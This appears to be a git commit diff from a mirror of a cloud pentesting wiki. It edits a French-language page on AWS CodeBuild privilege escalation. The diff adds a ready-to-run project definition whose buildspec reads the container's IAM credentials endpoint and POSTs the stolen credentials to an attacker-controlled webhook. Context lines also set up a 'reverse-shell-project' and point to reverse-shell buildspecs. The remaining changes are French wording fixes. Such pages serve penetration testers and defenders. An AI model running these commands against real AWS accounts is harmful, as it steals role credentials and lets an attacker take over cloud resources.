mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-29 22:20:33 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
@@ -67,7 +67,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Un attaquant avec les **permissions `iam:PassRole`, `codebuild:CreateProject`, et `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** serait capable de **escalader les privilèges à n'importe quel rôle IAM codebuild** en en créant un en cours d'exécution.
|
||||
Un attaquant avec les permissions **`iam:PassRole`, `codebuild:CreateProject`, et `codebuild:StartBuild` ou `codebuild:StartBuildBatch`** serait capable de **escalader les privilèges à n'importe quel rôle IAM codebuild** en créant un en cours d'exécution.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
@@ -133,6 +133,40 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat
|
||||
# Start a build with the new project
|
||||
aws codebuild start-build --project-name reverse-shell-project
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Example3" }}
|
||||
```bash
|
||||
# Generated by ex16x41, tested
|
||||
# Create a hook.json file with command to send output from curl credentials URI to your webhook address
|
||||
|
||||
{
|
||||
"name": "user-project-1",
|
||||
"source": {
|
||||
"type": "NO_SOURCE",
|
||||
"buildspec": "version: 0.2\n\nphases:\n build:\n commands:\n - curl \"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\" | curl -X POST -d @- WEBHOOK URL\n"
|
||||
},
|
||||
"artifacts": {
|
||||
"type": "NO_ARTIFACTS"
|
||||
},
|
||||
"environment": {
|
||||
"type": "LINUX_CONTAINER",
|
||||
"image": "public.ecr.aws/codebuild/amazonlinux2-x86_64-standard:4.0",
|
||||
"computeType": "BUILD_GENERAL1_SMALL"
|
||||
},
|
||||
"serviceRole": "ARN-OF-TARGET-ROLE"
|
||||
}
|
||||
|
||||
# Create a new CodeBuild project with the hook.json file
|
||||
aws codebuild create-project --cli-input-json file:///tmp/hook.json
|
||||
|
||||
# Start a build with the new project
|
||||
aws codebuild start-build --project-name user-project-1
|
||||
|
||||
# Get Credentials output to webhook address
|
||||
Wait a few seconds to maybe a couple minutes and view the POST request with data of credentials to pivot from
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
@@ -150,7 +184,7 @@ aws codebuild start-build --project-name reverse-shell-project
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
Tout comme dans la section précédente, si au lieu de créer un projet de construction vous pouvez le modifier, vous pouvez indiquer le rôle IAM et voler le jeton.
|
||||
Tout comme dans la section précédente, si au lieu de créer un projet de construction, vous pouvez le modifier, vous pouvez indiquer le rôle IAM et voler le jeton.
|
||||
```bash
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -268,14 +302,14 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
|
||||
### SSM
|
||||
|
||||
Avoir **suffisamment de permissions pour démarrer une session ssm** permet d'**entrer dans un projet Codebuild** en cours de construction.
|
||||
Avoir **suffisamment de permissions pour démarrer une session ssm** permet d'**accéder à un projet Codebuild** en cours de construction.
|
||||
|
||||
Le projet codebuild devra avoir un point d'arrêt :
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">phases:
|
||||
pre_build:
|
||||
commands:
|
||||
- echo Entré dans la phase pre_build...
|
||||
- echo Entered the pre_build phase...
|
||||
- echo "Hello World" > /tmp/hello-world
|
||||
<strong> - codebuild-breakpoint
|
||||
</strong></code></pre>
|
||||
@@ -289,7 +323,7 @@ Pour plus d'infos [**consultez la documentation**](https://docs.aws.amazon.com/c
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
Un attaquant capable de démarrer/redémarrer un build d'un projet CodeBuild spécifique qui stocke son fichier `buildspec.yml` dans un bucket S3 auquel l'attaquant a accès en écriture, peut obtenir l'exécution de commandes dans le processus CodeBuild.
|
||||
Un attaquant capable de démarrer/redémarrer une build d'un projet CodeBuild spécifique qui stocke son fichier `buildspec.yml` dans un bucket S3 auquel l'attaquant a accès en écriture, peut obtenir l'exécution de commandes dans le processus CodeBuild.
|
||||
|
||||
Remarque : l'escalade est pertinente uniquement si le worker CodeBuild a un rôle différent, espérons-le plus privilégié, que celui de l'attaquant.
|
||||
```bash
|
||||
@@ -308,7 +342,7 @@ aws codebuild start-build --project-name <project-name>
|
||||
|
||||
# Wait for the reverse shell :)
|
||||
```
|
||||
Vous pouvez utiliser quelque chose comme ceci **buildspec** pour obtenir un **reverse shell** :
|
||||
Vous pouvez utiliser quelque chose comme ça **buildspec** pour obtenir un **reverse shell** :
|
||||
```yaml:buildspec.yml
|
||||
version: 0.2
|
||||
|
||||
|
||||
Reference in New Issue
Block a user